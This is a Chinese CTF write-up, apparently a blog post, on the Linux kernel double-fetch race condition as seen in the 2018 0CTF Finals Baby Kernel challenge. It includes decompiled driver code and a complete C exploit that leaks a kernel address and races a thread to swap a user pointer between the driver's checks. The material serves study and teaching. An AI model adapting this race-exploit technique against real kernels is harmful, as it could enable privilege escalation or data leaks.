• Linux kernel pwn(三):Double Fetch


    原理介绍

    首先看看CTF WIKI上面的解析:

    Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。
    在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
    一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。

    这里补充说明一点,当用户空间向内核传递数据时,除了使用copy_from_user等函数直接将用户数据拷贝至内核外,还有另外一种情况就是向内核传递的只是数据指针,数据仍然存储在用户空间,那存储于用户空间的数据就可能被篡改。这就是可利用double fetch利用的条件之一。

    题目分析

    这里主要是利用了2018 0CTF Finals Baby Kernel这一道题。好像这道题当初是只给了驱动文件和文件镜像,需要我们在ida中查看驱动所使用的内核版本,自己再对应去下载处理,而且我们的启动脚本也是自己书写。这里我不多赘述。贴一个P4nda师傅的,里面连EXP都已经写好打包进内核了。懒狗自惭形愧。
    直接将我们的驱动拉进ida查看,可以看到,编写的函数不多,我们的init是调用misc_register()注册了一个杂项设备baby。

    然后查看我们的ioctl函数:

    可以看到,在我们的ioctl函数中,有两个分支。
    第一个分支是打印我们的flag的地址:

     if ( (_DWORD)a2 == 26214 )                    // 0x6666
      {
        printk("Your flag is at %px! But I don't think you know it's content
    ", flag);// 打印flag的加载地址
        result = 0LL;
      }
    

    另一个分支是打印flag的值:

     else if ( (_DWORD)a2 == 4919                  // 0x1337
             && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))// 判断我们的结构体是否在用户态
             && !_chk_range_not_ok(
                   *(_QWORD *)v5,
                   *(signed int *)(v5 + 8),
                   *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))// 判断我们结构体里面的flag是否在用户态
             && *(_DWORD *)(v5 + 8) == strlen(flag) )
      {
        for ( i = 0; i < strlen(flag); ++i )
        {
          if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )// 将v5=v2=rdx与flag逐字符比较,如果全都对才打印下来
            return 22LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %s
    ", flag);
        result = 0LL;
      }
    

    然后我们查看一下打印flag时需要绕过的验证,总共需要绕过四个条件,:

    首先我们查看一下第一和第二个条件的含义,_chk_range_not_ok函数,发现ida反编译过来的伪C不太清晰,直接查看汇编;发现其实是先将我们的第一个参数和第二个参数相加,看是否产生进位,如果进位直接将我们的eax赋值为1;如果无进位,则返回第一个参数与第二个参数的和与第三个参数比较,看看和是否大于我们的第三个参数。其实感觉有点多余的比较,很多师傅都是一句话概括:其实就是判断a3是否小于a2+a1.。。用来判断是否越界。

    发现第三个参数有点奇怪,于是动态调试一下看看具体是什么值;
    发现我们的第三个参数是一个定值:0x7fffffff000

    其实就是我们的用户空间。
    这里涉及到64位进程的内存布局,在64位系统中,没有完全用到64位长的地址空间,只有低48位用来寻址,虚拟内存空间为256TB(2^48),同样采用经典内存布局,如下图所示。

    所以,由以上信息,我们可以推断我们的v2传过来的是一个结构体指针:

    typedef struct {  
       char *flag_addr;  
       size_t len;  
    } Data;
    

    所以,打印flag的前三个验证就是:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?

    漏洞分析

    其实乍看感觉是没有问题的,但是我们需要将前三个验证条件和第四个分开思考;

    这就表明我们可以在判断flag地址范围和flag内容之间进行竞争,通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较,通过检查得到flag,这里就涉及到我们的条件竞争的问题了。
    我们先构造一个user_data来绕过第一大块的验证,这里主要是要验证我们的user_data和flag指针等是否在我们的用户态,以及user_data中的size位的验证。然后在第二块验证的时候,创建一个恶意线程,不断地更改我们user_data中地flag指针为内核中真正flag的位置,这里利用到第一个分支,打印出我们的flag内核中的地址。

    最终EXP

    From P4nda大牛

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/ioctl.h>
    #include <fcntl.h>
    #include <pthread.h>
    
    #define TRYTIME 0x1000
    
    char s[] =   "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";
    //char s2[] = "flag{THIS_WILL_BE_YOUR_FLAG_1234}";
    
    struct t{
    	char * flag;
    	size_t size; 
    };
    
    
    char* flagaddr=NULL;
    
    int finish = 0;
    
    void * run_thread(void * vvv)
    {	
    	struct t* v5 = vvv;
    	while(!finish) {
    		v5->flag = flagaddr;
    	}	
    	
    }
    
    int main(){
    	
    	setvbuf(stdin,0,2,0);
    	setvbuf(stdout,0,2,0);
    	setvbuf(stderr,0,2,0);
    
    	printf("{==DBG==} this is exp :p
    
    ");
    
    	int fd = open("/dev/baby",0);
    	printf("{==DBG==} fd: %d
    ",fd);
    	int ret = ioctl(fd,0x6666);
    
    	scanf("%px",&flagaddr);
    	printf("{==DBG==} get addr: %p
    ",flagaddr);
    
    	struct t * v5 = (struct t * )malloc(sizeof(struct t));
    
    	v5->size = 33;
    	v5->flag = s;
    
    	pthread_t t1;
    
    	pthread_create(&t1, NULL, run_thread,v5);
    
    	for(int i=0;i<TRYTIME;i++){
    		ret = ioctl(fd, 0x1337, v5);
    		if(ret != 0){
    			//printf("{==DBG==} ret: %d
    ",ret);
    			printf("{==DBG==} addr: %p
    ",v5->flag);
    		}else{
    			goto end;
    		}
    		v5->flag = s;
    	}
    end:
    	finish = 1;
    
    	pthread_join(t1, NULL);
    	close(fd);
    
    	return 0;
    }
    

    参考

    https://veritas501.space/2018/06/04/0CTF final baby kernel/
    http://p4nda.top/2018/07/20/0ctf-baby/
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/double-fetch-zh/
    https://orangegzy.github.io/2020/09/10/Linux-Kernel-pwn-1-——Double-fetch/
    https://x3h1n.github.io/2019/08/27/20180ctf-final-baby/

  • 相关阅读:
    将WinServers2019打造成家用系统
    WindowsServers2019上手体验
    【代码模板】不存在的NOIP2017
    NOIP2018初赛翻车总结
    【初赛】各种排序算法总结
    【Luogu1996】约瑟夫问题(模拟,解法汇总)
    【初赛】NOIP2018程序模板
    MongoDB
    非关系型数据库----MongoDB
    用Python来操作redis 以及在Django中使用redis
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13837662.html
Copyright © 2020-2023  润新知